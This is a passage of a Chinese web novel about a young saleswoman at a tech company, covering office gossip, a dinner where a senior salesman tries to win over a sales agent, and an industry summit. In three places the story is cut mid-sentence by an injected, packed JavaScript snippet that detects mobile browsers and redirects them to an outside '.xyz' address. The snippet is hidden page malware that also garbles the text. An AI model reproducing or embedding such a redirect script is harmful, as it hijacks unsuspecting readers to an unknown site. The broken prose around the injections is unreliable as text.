周泊言推开门下车去买了个煎饼，煎饼大叔看到周泊言很开心，给周泊言的煎饼每样都多加了一点，煎饼大叔自从知道周泊言是公司老板后，有人问他煎饼好不好吃，他就说这个公司的大老板都在我这吃煎饼你说能不好吃吗，因此看到周泊言格外殷勤。 周泊言拿着煎饼回到车上，梁菲直着背保持端正的姿势太久了，实在是累，看着周泊言穿着西装下去买煎饼，又回车上，感觉和周泊言的距离也没有那么远，不自觉放松了很多，又想到第一天来面试出租车司机说周泊言在煎饼摊上谈恋爱的事笑了一下。 周泊言看到梁菲脸上的表情问：“你笑什么？” 梁菲说：“我第一次来大源科技面试，出租车司机就说这个公司老板爱吃煎饼。” 周泊言吃煎饼这习惯是有历史的，这事罗景然知道，大学他在外面租房小区隔着围墙背靠商业街，从正门出去到商业街绕好大一圈，年轻小伙晚上干活睡得晚饿得快，半夜就用晾衣杆越过围墙买煎饼吃，自己也没想到买个煎饼生出这么多事来。 周泊言说：“你吃过吗？味道还可以。” 梁菲说：“嗯，还行。”< ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15627315|172437||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' p>车子很快从公司开到小区，到了小区门口，梁菲说：“就在这停车吧。” 周泊言从车窗外望出去，工业区附近的拆迁小区，小区很大，路边有几个喝得醉醺醺互相搂着，染着黄头发的年轻小伙正在往小区里走，周泊言说：“开进去。” 一直开到楼下，梁菲打开车门下车，“周总，谢谢你送我，再见。” 周泊言这回没再说什么，在车里看着梁菲走上楼梯，让司机调头从小区里出去。 梁菲从包里拿出钥匙轻手轻脚的回家，临睡前躺在床上刷朋友圈，看到室友朱谨言刚发的朋友圈，她点开对话框问她。 「你们在学车吗？」 朱谨言回得很快，「我们宿舍三个人都在学，教练超级凶，动不动就一顿骂，你要是报名的话得换个教练。」 梁菲回复，「联系方式有吗，我来报名。」 朱谨言推了一个联系方式过来。 梁菲早上七点半起床，八点半到公司食堂吃早饭，九点到办公室的时候还是没有人，大客户部的销售都是神龙见首不见尾，上下班不用打卡没有考勤，每周提交一次周报，每周开一次例会，这两周的例会都是电话会议，她把最近一段时间跑的客户信息和拜访内容都整理到电脑里，又更新了销售预测管理表，把新顺集团加到表格里，不管有没有希望，至少她多了一个跟进中的客户。 刚加完提交，她的座机响起来，李西廷说：“来我办公室。” 梁菲说：“好的。” 李西廷的办公室不在大客户销售部办公室内，要从办公室走出去，李西廷的办公室门开着，除了李西廷还站着一个人，高高大大，笑容温和，让人一见就生出好感。 李西廷说：“进来吧。” 梁菲走进去，李西廷说：“给你介绍一下，这是我们电子行业的销售经理彭先泽，最近在美国出差刚回来。” 彭先泽说：“听说部门招了两个很优秀应届生，欢迎欢迎，拉高了我们部门颜值。” 梁菲说：“你好。” 彭先泽说：“你们聊。”说着走了出去。 李西廷让梁菲坐，隔着办公桌面对面又觉得这样梁菲可能压力比较大，站起来走到沙发上坐下，他最近出差出得太累了，FSK的项目并不顺利，罗景然那边是表面配合，把客户信息一股脑的交出来了，实际上客户关系没有交接出来，客户那边只认罗景然，对大源科技直销团队表面客套，大源科技当时为了上市，违规操作灰色交易都从罗景然的代理公司走，罗景然的代理公司发展大了之后挤压直销团队的生存空间，直销团队还要和罗景然抢订单，罗景然向来不把直销团队放在眼里。 FSK这个案子是在老板那里挂上号的，报备制度更新，罗景然没当回事被直销团队拿回了这个客户，好不容易抢回来的客户要是直销团队拿不下来，岂不是更加说明了直销团队能力差不如代理，这个事情没法交代，负责人挂着乔明语，刚毕业的学生，又是罗总亲戚，而且这个乔明语脾气大，就这段时间和项目部产品部吵了几次架，忍不了一点，李西廷指点几句，乔明语没什么改变，李西廷也就先放着了。 李西廷这边忙成一团顾不上梁菲，李西廷自己也是从一线销售过来的，他现在销售团队的管理风格借鉴了很多HW的实战经验，大客户销售没有人带想入门太难了，他心目中能带梁菲的人选是销售经理彭先泽，先泽是北理工的计算机硕士，原先他在HW的搭档，先泽的销售风格比较正统有章法有原则，适合打地基的初学者，孙宏斌是个奇兵，野路子打法，这种打法不容易学，也不太适合女孩子，全靠个人特质和悟性，再加上孙宏斌因为FSK这个案子没有给他，正要找事，让他带新人，不惹是生非就算好了。 但是先泽手上的项目要在美国常驻一段时间，项目团队还在美国，他家里有点私事请假回来，明天又要去美国，先泽带不了梁菲，这就难办了，只能两相权衡取其轻，有人带比没人带好。 14. 机会 李西廷说：“最近有收获吗？” 梁菲汇报了最近和售后部门蔡云峰出去跑客户的情况又说到新顺集团要投资一个新厂，竞争对手在工厂规划的时候就介入两边已经达成了战略合作协议，梁菲说：“这样的客户还有机会吗？” 新顺集团最早是大源科技的客户，大源科技前任销售老大沈向宇带着这个客户跳槽去了竞争对手美格科技，大源科技尝试多次都没有重新赢回项目，沈向宇也借着新顺集团的业绩在美格科技升任了电子事业部总经理。 李西廷略加思索后说：“一个案子只有在销售彻底放弃的时候没有机会。” 梁菲点点头说：“明白，我继续跟进。” 李西廷说：“你打算怎么跟？” 梁菲说：“我跟他们技术总工聊得挺好，想约他们正式的见一次，看能不能拿到需求。” 李西廷想了想做了决定，“你先去试试约他们，碰到困难让孙宏斌帮你，孙宏斌销售经验丰富，多年私企经验，汽车行业，保险行业，房地产行业都做过，你可以从他身上学到很多销售培训不会教你的东西。” 梁菲说：“好的。” 李西廷说：“你把跟进情况同步给孙宏斌。”站起来又叮嘱一句，“要是遇到什么困难给我打电话，不要硬撑。” 梁菲点点头，走出去。 梁菲给新顺的方利民打电话，会和同事正式的拜访新顺集团，做一次智能工厂最新案例介绍和分享，方利民说你们要来也可以，他这边会给她介绍杨厂长，她的级别不太够，至少要让能谈事的人过来，梁菲说好，梁菲这边刚挂完电话，就接到了陈思思的电话。 陈思思说：“梁菲，我们在外面那个湘菜馆吃饭，你也一起来吧。” 梁菲说：“你请客？” 陈思思说：“对啊，快来。” 梁菲说：“等会儿。” 梁菲本来不太想去，她一个人在外面跑客户，跟公司里的人都还不太熟，要真有项目跟项目部产品部还是要配合，有饭吃为什么不去，这样一想就愉快去吃饭了。 到了地方看到不少项目部门的同事，徐商略旁边还有个位置，打招呼让她过去坐，她一看彭先泽也在，陈思思看到坐在徐商略的梁菲说：“你可得快点拿到项目让徐商略做项目负责人。” 徐商略说：“我现在做的那个项目在量产，急着交货，天天加班。” 陈思思笑了，你装什么，没有项目经理想在别人的项目里打杂，绩效差成长慢碰到不好的导师功劳都是导师的，黑锅都是你的，图什么，你还挺给梁菲面子的，你不会是喜欢梁菲吧，这样一想再看梁菲的眼神就不一样了，“你可太贴心了，你们俩真是好搭档。” 梁菲说：“这不是贴心，是团队协作意识强，不给压力能解决问题。” 陈思思说：“是哦，我还以为他对在追求你呢，我觉得你们俩蛮合适的。” 怎么什么都能往男女关系上扯，徐商略脸上也有点挂不住，都沉着脸不接话。 彭先泽举起水杯说：“项目部，销售部，产品部是好搭档，要不然怎么能是铁三角，祝我们我们多拿订单多做好项目。” 梁菲也端起了水杯，彭先泽不仅仅长得颇有亲和力，说话也让人不自觉生出好感。 梁菲说：“思思，FSK项目怎么样了？最近都没有看到乔明语。” 陈思思说：“别提了，客户给我们的需求很多做不了，我让乔明语去跟客户商量降低标准，乔明语说我们技术能力不行，我说产品经理就这水平，你不相信就自己去找产品经理，要么你去搞定客户，乔明语那脾气，怎么搞定客户，跟着她做项目太累了。” 梁菲说：“你要不想做FSK项目可一堆人等着呢。” 陈思思说：“没办法啊，韩总分配给我的项目，我也只能硬着头皮做完。”她也不想跟乔明语合作，谁让人家是关系户呢估计能拿到好项目，韩致远问她跟哪个销售配合的比较好，她说乔明语，果然乔明语到销售部后就分到好项目，她做项目负责人，韩致远亲自带她，要是跟着梁菲不知道哪年哪月才能有项目，徐商略不就一直跟着其他项目经理打杂，说起韩致远她微微笑了笑。 彭先泽说：“太辛苦了，让客户给我这种项目，我也能硬着头皮做完。” 大家笑起来，吃完饭梁菲回到办公室，下午还是没看到孙宏斌，她给孙宏斌打了电话，孙宏斌说：“新顺集团？现在谁跟你接触？” 梁菲说：“技术总工，方利民。” 孙宏斌说：“那是一老混子，不顶事，你要讲公司案例介绍你自己去讲，要是你能拿到需求，问出预算，打听到竞争对手情况我叫你姑奶奶。” 梁菲皱了皱眉，她对孙宏斌的第一印象不好，孙宏斌这种说话风格，她也很难适应，又想到李西廷说在他身上可以学到很多东西，梁菲说：“方总工人很好，我不讲公司案例介绍怎么跟客户继续接触呢？” 孙宏斌说：“你等我电话。” 说完就挂了电话，梁菲把新顺集团的拜访记录梳理完，又整理了竞争形势表，内容很少，她把这些都发给孙宏斌，接下来一段时间她没等到孙宏斌的电话，还是和新顺集团的方利民保持联系，通常是梁菲听方利民长篇大论的说些年轻时候的事，顺便教梁菲做人，方利民还带来一个好消息，工厂选址没定下来，这个案子往后拖延了。 这段时间她每天出去跑客户时间过得很快，她问过孙宏斌什么时候去客户那，孙宏斌说心急吃不了热豆腐让她等着，这天梁菲终于收到了第一个月的工资，她看到工资的短信忽然想起来周泊言借的一万块钱没有从工资里扣。 她想了想她没有提交借款申请，财务自然也不会从她工资里扣钱，她在内部系统上打开借款申请流程，找不到一条跟考驾照相关的名录，她翻了翻行政手册，后知后觉意识到考驾照借钱这个事情不是常规借款，其实是周泊言私人借给她的钱。 她不知道周泊言为什么要借钱给她，老板善心大发？还是因为他们非工作场合见过两面，有那么一点交情？这些似乎都不足以解释借钱给她这件事，不管什么原因，梁菲现在都有点后悔接受了这一万块钱，她想了想直接在微信里把那一万块钱转回去。 直到晚上下班，这一万块钱也没有被接收，走出办公室，停车场的车已经少了一半，她走到公司对面的公交站牌等车，23路公交车正好从公司到小区楼下，十分钟就到，等了一会儿还没来她坐在长凳上看着从公司出来的人，突然她看到了陈思思走出来，手里拎着一个的大袋子，然后身边停下来一辆车，韩致远从车上下来，接过陈思思手里的袋子放到后备箱又替陈思思打开副驾驶座车门。 陈思思和韩致远顺路吗？两个人看起来很熟悉，梁菲看着韩致远的车飘然远去不禁想。 第二天一万块钱转账过期，梁菲去银行取了一万块钱的现金，中午吃饭的时候特地往周泊言办公室方向绕了一圈，周泊言的办公室在二楼转角，先经过财务中心和董事办，总经理助理薇薇安办公座位在周泊言办公室门口，薇薇安去吃饭了，周泊言办公室的门关着，门上有电子显示牌显示状态是出差中。 梁菲抬头看了一下，走道里有摄像头，她不能把钱 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15627316|172437||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 留在薇薇安办公桌上，她也不想让其他人知道周泊言借了钱给她，免得留下不必要的话柄。 回到办公室就接到了孙宏斌的电话，“晚上和代理商陈总吃饭。” 梁菲说：“陈总？在哪里？” 孙宏斌说：“一会儿把地址发给你。” 梁菲刚收到孙宏斌给的地址，碰巧乔明语回来了，乔明语上身羊绒短袖下身西装裙，长卷发披肩，梁菲看到她说：“穿得这么好看，有约会吗？” 乔明语这段时间都在上海，好不容易回来一趟，朋友给她介绍了一个相亲对象，据说家里蛮有钱的，她找对象目标很明确就是要条件好，长得帅，这两条缺一不可，这也是她来大源科技上班的原因，这样的高科技企业优质的理工男不少，她还没来得及观察就去出差，她郁闷的找朋友抱怨，这个班上不了一天，朋友就说给她介绍优质男。 乔明语说：“要不是我天天出差，在公司里就能约会，碰到还不错的就约在食堂吃饭。” 梁菲笑说：“咱们公司你觉得有不错的？” 乔明语玩笑道：“周总那样的就行。” 还真不挑剔，梁菲笑了：“周总不是单身么，你还有机会。” 乔明语说：“我碰到过他好几次了，他都没正眼看过我，你知道一个男人对一个女人有没有兴趣第一眼就注定了。” 梁菲说：“这是什么玄学……” 乔明语说：“这是经验之谈，谈多了男人都差不多，第一面没兴趣的后面多半也不行。” 梁菲说：“你不相信日久生情？” 乔明语说：“我只相信见色起意，研发中心助理给我发了一个机电软算各个部门单身未婚同事的清单过来，我等会儿发给你。” 梁菲服了乔明语，“谢了。” 中午时间梁菲往食堂方向走，乔明语拉住她说：“别去食堂，去外面吃面，我跟你说个八卦。” 两人转身下楼到停车场，乔明语去开车，梁菲坐在副驾驶上，车的视野很好，从大源科技出来到商业区有几分钟的路程，乔明语神神秘秘地说：“我们在上海和客户开项目计划会，韩致远也来了，我看到好几次陈思思从韩致远房间里出来。” 话语里的暗示太明显，但这好像也不能说明什么，梁菲说：“说不定是讨论工作？” 乔明语说：“我一开始也这么想的，FSK这么大项目，本来就是团队作战，我和陈思思是冲在前面的小兵，老板让我们怎么干就怎么干，讨论工作很正常，出差不在房间讨论在哪里讨论，有一次我们都在韩致远房间里，韩致远在吃饼干，陈思思抢过去掰了一块放嘴里吃了，还有一次韩致远在车里，陈思思扑到他身上了。” 韩致远比他们这些应届生年龄大不少，梁菲想到上次下班的时候看到陈思思上韩致远的车，“韩总是单身吗？” 乔明语说：“韩总私生活挺神秘的，但我的直觉是已婚。” 梁菲微微笑了：“你这是什么直觉。” 乔明语说：“你别不信，等着。” 梁菲和乔明语在面馆点了四个浇头，红汤面，在面馆吃完饭梁菲说要去出差，两个人回公司，梁菲在导航上看着时间，到点了出发，孙宏斌约的地方在乡下，从市中心过去两边是大片农田和池塘，这些池塘养着螃蟹，现在还不到吃螃蟹的季节。 先是车越来越少，接着车子拐进一个村落，白墙黑瓦，在一栋两层楼带院子的小别墅门口停下，看起来是一个民宿，进了门才发现别有洞天，中式园林的装修风格，中间是一汪湖泊，围着假山，亭台楼阁，草木葳蕤，两排林湖包厢。 15. 中间人 梁菲报上名字，服务员带到地方，推开包厢门，里面坐着两男一女，孙宏斌看到推门进来的梁菲跟代理商陈浩说：“你说现在的00后太不懂事还让前辈在这等她。” 陈浩看到梁菲倒是心情不错，“你对女人太苛刻了，照我说等多久都可以，我的耐心和美貌成正比，这个地方确实不好找。” 孙宏斌给陈浩和梁菲互相介绍，跟着陈浩来的女生叫Cindy，梁菲看着时间提早了十分钟到，无奈其他人到的更早，她一个职场新人确实没有让人等的道理，她没有辩解，坐在靠门的位置只笑说：“我来迟了，今天一定做好服务工作，倒酒沏茶交给我。” 陈浩说：“梁小姐喝什么？” 梁菲看着Cindy说：“我陪Cindy姐姐喝。” Cindy摆出一副女主人的姿态给梁菲介绍，“陈总和孙总是要喝白的，这家店有自制的葡萄酒，甜度高度数低，你尝尝。” 梁菲说：“好啊，Cindy姐姐经常来这吗？” Cindy说：“嗨，这个地方陈总开的。” 梁菲说：“我进来的时候就觉得这个设计很特别，外面看着普通里面是别有洞天。” Cindy说：“这地方陈总一手设计，你这么说他可得意了。” 陈浩捏了捏Cindy的脸，又看了一眼梁菲说：“大源科技什么时候开始招美女销售了？” 孙宏斌说：“刚招的应届生，别提了，这不还得带着。” 陈浩说：“你早就该带团队，我可听说你今年拿下好几个大项目，地盘扩大的很快，也就是你自己不稀罕头衔，要不然大源科技销售总监这个位置就是你的。” 孙宏斌正要说话，包厢门被推开，服务员开始上凉菜，上了两种酒，白酒和葡萄酒，梁菲接过白酒，先给陈浩倒，再给孙宏斌倒。 孙宏斌用白酒杯轻轻地碰了一下陈浩的酒杯，“做什么销售总监，大源科技规矩多这不行那不行，沈向宇为什么能把新顺集团的单子带走你还不知道？” 对孙宏斌来说公司画的那些大饼什么股票期权都不如拿到的钱实在，做管理不能直接做项目，靠手底下销售那点提成才多少，百分之二三的提成，大源科技的总代是老板同学，能给李西廷什么，李西廷什么都拿不到还得讨好罗景然，李西廷真正能运作的资源不如销售把项目拿在手里，只要客户在手一个大项目做下来操作空间就太多了。 陈浩撇了撇嘴，一想到沈向宇和新顺集团这个客户酸甜苦辣一时涌上心头，免不了抱怨几句，“沈向宇到美格科技后想把代理模式转成直销，要一脚把我们这些老代理商踢开，我们跟美格科技签的独家代理，这不是不给人活路吗，他娘的用人朝前不用人朝后，现在借着新顺集团沈向宇是在美格科技站稳脚跟了。” 孙宏斌夹了一颗毛豆说：“沈向宇那个人我知道，心胸狭窄，城府很深，他靠着代理商在美格科技站稳脚跟，又要用你们又怕你们不听话，干脆卸磨杀驴，把代理商的客户资源收回直销团队。” 孙宏斌的话抨击了沈向宇又捧了代理商让陈浩很受用，他开始大言不惭：“沈向宇现在是不想跟我们合作了，新顺集团转型也没那么容易，走着瞧，他能不能拿下新顺集团的项目还不好说。” 孙宏斌听了陈浩的话不由得一喜，看来新顺集团还有机会，他又看了一眼梁菲，前面开场了之后就做些服务工作，人看着虽然清高做事还算踏实，安静的听他们说话也不插嘴，他向来不喜欢李西廷的销售风格，也看不上他招进来的人，只当是活跃气氛的花瓶，李西廷HW背景又是工程师出身，干点什么都要讲逻辑，哪有那么多逻辑，什么客户的核心诉求是职业生涯的发展，去公司讲产品讲方案讲计划发资料，这都是公对公台面上的东西。 客户贪财好色讲什么逻辑，有时候就是看你不顺眼不用你，有时候是嫉妒同级偏要唱反调，人性没有逻辑，台面下的东西没搞定，你问一句项目预算是多少，目前有哪几家供应商，你看客户理不理你，孙宏斌的风格向来是开局的切入点不走公对公，再说新顺集团这个案子要是李西廷那套有用就到不了他手里，李西廷打电话给他让他带梁菲，他就提了一个要求这个案子必须走他选的代理商，李西廷说你得拿出东西再来谈条件。 孙宏斌觉得表明自己意图的时机到了说：“你真是守着金饭碗哭穷，新顺集团对你来说只要从你这走，厂商是美格科技还是大源科技都一样，你现在是没得选只有一个美格科技厂商才被美格科技压榨了，就凭你和客户的关系，他想收回直销团队哪有那么容易，就是仗着你一心一意只推美格科技。” 陈浩闻言抬起头认真道：“这不太好吧？美格科技和新顺集团合作谈得差不多了，美格科技要收回代理权限也是以后的事情，这个智能工厂项目是稳的。” 孙宏斌心想你刚才还说美格科技能不能拿下新顺集团不一定现在又说稳了，话全让你说了，继续放诱饵：“一笔订单重要还是以后的的订单重要，你自己看跟大源科技合作的代理商哪个不赚的盆满钵满，北方区的罗景然开着法拉利住着北京豪宅，你拿着新顺集团的资源，一笔代理费能有多少钱，沈向宇他不干人事，怪不了你。” 陈浩心里冷笑，这个孙宏斌是想空手套白狼呢，不就是想要让自己把新顺集团的内部关系给他用，想用代理商的客户资源又不给政策，连大饼都画的稀松平常，天下乌鸦一般黑，代理商四处奔波靠牵线搭桥赚点钱，我先给你牵线搭桥了，你项目不从我这我过我搞个屁，我要是和美格科技翻脸，新顺集团的客户资源砸在手里也是浪费，美格科技做事太不地道，就让大源科技进去搅个天翻地覆也行，但是也不能被人白白用了资源，他说：“我谢谢你啊，有机会想到我，这个事情还得让我好好想一想，我考虑好再回复你。” 孙宏斌急了，诱饵都放出去了，哪有空手而回的道理，他说：“你等得起，我们等不起了，再等新顺集团下单了，我们再去哪里找这么一个机会？你要是不想跟我们合作，那就算了”孙宏斌先施压，操纵一个人光压力不够，施完压又要给一点诱惑，干脆亮出底牌，“你进来做大源科技的代理商，你知道大源科技的代理商根据综合评分分级，我们来个君子协定，新顺集团订单要是拿下来，我给你一级代理商折扣权限。” 面对这份邀请，陈浩有一点心动，对代理商来说，其实无所谓新顺集团和美格科技合作还是和大源科技合作，只要订单从他这过一道，剩下的就是厂商给的折扣权限的事情，现在大源科技想做新顺集团的生意，他才有机会拿到一级折扣权限，但是心动还不够，必须要给出正儿八经的协议或者真金白银才行，口头的约定这年头都不作数。 陈浩碰了碰孙宏斌杯子，两个人干了一杯，算是达成初步共识，开始聊新顺集团内部情况，“新顺集团要从加工转型做产品，投资10亿建新工厂，新工厂的总经理原本定了集团管运营的江其仁江总，江总现在出了点事，这事就说不准了，现在内部都在传技术总工方利民要接手新工厂，我在新顺的关系别的不敢说，你想约谁我就给你约出来。” 孙宏斌心想方利民逢人就爱吹革命历史，内部口碑很差，去过工厂，工厂工人看到方利民就翻白眼，这个人是典型的老混子，混混还行，让他负责新工厂恐怕是担不起这个责，顶多拿他当傀儡，幕后操纵另有其人，你这是打压我们在新顺集团关系太浅，抬高自己身份，还不肯把有用信息放出来，老江湖不见兔子不撒鹰，既然方利民现在是个角色，不如我们先去探探底。 孙宏斌要把陈浩拉入代理商承诺给折扣权限，李西廷要让经销商先给出客户资源，两边僵持，既然陈浩不愿意 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15629331|172437||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 多说，孙宏斌也只能先退一步，“这道蒜泥白肉不错。” 陈浩说：“会吃，就这蒜从河南老家运过来，味道很正，蒜泥白肉的蒜泥啊就是要切的极细，切到只有香味没有颗粒感，这样和肉搭配在一起口感才好，这个猪肉我们后院养自然生长的猪，夏天吃西瓜冬天吃番薯。” 孙宏斌和陈浩又聊起吃喝玩乐的事，梁菲坐在旁边，第一次对这样的饭局产生一种身在局中的感觉，她也想过陈浩不肯说有用信息，她要不要乱问一气，总能让陈浩说点东西出来，又想着陈浩要折扣权限，孙宏斌给出来的承诺陈浩虽然心动但还是藏着一手，她固然可以仗着新人的身份去问，说不定就打断了孙宏斌的部署和计划，也会给陈浩留下不好的印象，她还是做服务工作更稳妥。 后面再没有聊新顺集团的事，吃得差不多，从饭店出来，往停车场走，孙宏斌对梁菲说：“你加一个Cindy的微信。” 梁菲说：“我刚刚加了。” 孙宏斌说：“今天晚上够你学的，回去写一份记录和总结发给我抄送给李西廷，方利民那边你去约他，同步给李西廷，让李西廷也去。” 新顺科技这项目要是没有代理商帮忙想要拿下来是天方夜谭，给陈浩画饼有什么用，公司这些政策真他妈烦，做事情束手束脚，他现在两头不靠，拿不到代理商的客户资源，连个中间人都搞不定，还要带着一个啥不懂的小销售，失败概率这么高的项目有啥好做的，他想了个招让人把今天晚上的谈话内容写邮件发给李西廷，要是李西廷驳回邮件，他正好不带梁菲，谁还不是自己一步一个脚印走出来的。 梁菲说：“陈浩是想一步到位拿到一级代理商和折扣权限再给我们介绍新顺集团的关系？我记得销售培训的时候说过大源科技不再引进新的代理商。” 孙宏斌拔高声音说：“让你发邮件就发邮件，想这么多干嘛？” 梁菲表情冷淡盯着他，梁菲隐约觉得这个邮件不对，又不知道到底哪里有问题，李西廷说孙宏斌经验丰富，从他身上可以学到很多东西，她也在观察能从孙宏斌身上学到什么，这场饭局让她觉得孙宏斌至少是擅长利用和调动资源，至于画大饼的方法是否合理暂且不说，她应该先付出信任。 孙宏斌从兜里掏出一支烟，点上火抽了一口缓和了语气：“知道我为什么让你加Cindy微信？” 梁菲想了想说：“为了和陈浩搞好关系？” 孙宏斌笑了，跟陈浩搞什么关系：“你觉得Cindy和陈浩是什么关系？” 梁菲吞吞吐吐，陈浩是一中年男人，Cindy看着比自己大不了几岁，和陈浩动作亲密，不可能只是工作关系，要说人家是夫妻关系她也觉得不可能，情人关系还是包养关系，“非常规关系。” 非常规关系把孙宏斌逗乐了，说得还挺文绉绉，但也不算错，吐出一个眼圈，不自觉想指点两句，“销售起码对人和人的关系有基本的感觉，Cindy手上的姑娘你想要什么样的都有，这些都是你将来可以用的资源，女人和女人之间总是更容易说话，从女人的嘴里能得到有用信息。” 梁菲说：“这是销售的岗位技能吗？” 孙宏斌瞥了她一眼说：“你能问出这种问题还是去看公司的销售培训手册吧。” 什么狗屁岗位技能，岗位技能这种话术是忽悠梁菲这样的菜鸟用的，对孙宏斌来说客户关系永远是第一生产力，技术能力品牌影响力能有多牛逼，真非你不可？就算有这么牛逼那也是平台牛逼不是孙宏斌牛逼，周泊言运气好有罗景然这么个兄弟在客户面前喝成傻逼，获得客户信任，开拓市场从小企业成长起来，品牌影响力，技术能力，政府关系那都是后来的事，韩华大外企出来的职业经理人，也一样在客户面前喝傻，喝倒，出丑，陪着客户去商K，洗澡，按摩，这都是基本功。 16. 行业峰会 梁菲第二天到公司，桌上还放着一些零食，梁菲的钱包对大源科技的下午茶文化不是很适应，铁三角三个部门一到下午就有人开始订咖啡蛋糕，然后围在茶水间边吃边八卦，梁菲恨不得自己天天出差。 这种时候一般是谁不在八卦谁，最近的热门八卦是陈思思和韩致远，不少人都看到了陈思思和韩致远一起下班，产品部的老员工琳琳说韩致远已婚还有个小孩，老婆以前是同事，疯狂追韩致远，一不小心怀孕了，奉子成婚，没过多久就分居，韩致远起诉离婚没成，有人哄笑说韩总女人缘可好了。 梁菲这边和方利民约了一次见面，方利民说最近几个相关部门负责人不在，杨厂长也不在，过段时间再约，梁菲这边心急却也无可奈何，她翻了翻Cindy的微信，Cindy的朋友圈大部分是订房的信息，还有很多漂亮女孩的照片，背景是灯光辉煌的包厢，面前有无数的酒杯。 梁菲把晚上在饭局得到的信息都整理到竞争对手分析报告，又把记录和总结发邮件出去，桌上忽然多了一叠发票。 孙宏斌说：“帮我贴一下发票。” 梁菲抬头看他又看了一眼发票说：“行。” 梁菲刷新邮箱发现新邮件，还没来得及打开看，开始贴发票。 乔明语也收到了市场部发出来一个电子行业的峰会邀请了周总参加，大客户销售部这边也要派人去参，李西廷回复邮件让乔明语和梁菲参加，走过来跟梁菲吐槽看到她在贴发票说：“你怎么这么多发票？” 梁菲说：“孙宏斌的发票。” 乔明语说：“他的发票干嘛给你贴。” 梁菲说：“部门助理这两天请假了。” 乔明语说：“部门助理请假了他自己贴呗，这人怎么这么爱支使人。” 梁菲说：“我顺手帮他贴了。” 乔明语瞪了梁菲一眼说：“你这么爱干杂活有你干的。” 梁菲说：“你看这些发票是孙宏斌的应酬发票，夜总会，商K，洗浴中心报销额度都很大，好多是超过公司规定报销额度。” 乔明语语气弱了下去，小小几张发票能看出这么门道，“这能说明什么？” 梁菲说：“说明只要业绩做得好，规矩你说了算，再说我也不是免费帮他干杂活，我帮他干了活，他带我跑客户说得过去吧？” 乔明语没想到梁菲平时闷声不响的，倒是个有想法的，挑眉道：“他最近怎么没带你跑客户了？” 梁菲说：“他说他忙，上次和他出去跑客户他想引入一个新代理商好用代理商的客户资源，两边没谈妥。” 乔明语神神秘秘地看了一圈办公室，凑在她耳边说：“公司有规定不让引进新的代理商，孙宏斌是在给人画大饼吧，我们来之前开除了好几个销售，销售可以选代理商渠道，代理商会贿赂销售，公司现在规定销售不能选代理商，也不让增加代理商。” 梁菲想到孙宏斌让他发的那封邮件，记录了和代理商谈引入政策，既然违反公司政策为什么还要她发邮件出来？没等她多想。 乔明语又说：“你看到市场部的邮件了吗？让咱俩去参加行业峰会。” 梁菲说：“还没看，我们去有什么任务？” 乔明语说：“有电子行业的客户会参加，周总有演讲。” 梁菲心里一突，想到那一万块钱，她刚好带上，说不定有机会还给周泊言。 邮件里有行程安排还有置装费，要求穿正装，行业峰会的规格很高，政｜府要员，企业大佬，行业专家，梁菲拿置装费买了一套乔明语推荐的TieForHer套装，穿在身上还有点不习惯，时不时拉下摆，化了个淡妆，到了现场远远看到乔明语，乔明语穿一身不知道什么品牌的西装套裙搭配碎钻耳钉，商务精英的感觉，梁菲看看自己又看看乔明语，学生这个身份好像已经过去很久。 会场很大，前面一排是各种大佬，先是在主会场宣讲再是饭局，市场部的小唐和他们俩坐在一起，小唐指着嘉宾席的一位长卷发嘉宾说：“那是我们机器人供应商老板丹妮总。”梁菲看着丹妮总一头浓密的披肩长卷发，挺直的背，优雅的体态，不用看脸也觉得是一位艳光四射的大美女。 乔明语说：“那一排嘉宾席一共就一位女性，为我们女人长脸了。” 小唐微微笑了一脸八卦：“据说她以前跟过我们老板，美貌和手段发挥到极致的典范。” 乔明语说：“什么跟过，这不是强强联合吗？” 小唐说：“你不懂，丹妮总是老板的学妹，她是大源科技一手扶持起家的供应商，反正他们俩好过，传说周总对女人很大方，单身多金的男人到哪都是很受欢迎的。” 梁菲说：“周总给JD物流车做控制系统起家，怎么没有人传周总和JD刘总的八卦？” 乔明语笑死，“你想说什么？老板是gay？” 梁菲微笑不答，小唐说：“要死啊，被老板听到你们俩完了。” 会场上已经轮到周老板演讲，周老板就讲了三点，一电子行业的发展，二智能工厂在电子行业应用的现状和展望，三大源科技智能工厂案例分享。 演讲结束小唐说：“晚上主办方组织的饭局，我们这边重新安排邀请了客户还有供应商在一个包厢。” 乔明语和梁菲坐在入门处上菜的位置，周泊言为在座的宾客互相介绍，有FSK的刘总裁和新顺的赵总裁，最后介绍了乔明语和梁菲，周泊言说：“今天难得聚在一起，大家吃好喝好，不谈公事。” 乔明语和梁菲听到刘总和赵总都是眼睛一亮，大客户都在这里呢，这个饭局太会安排了。 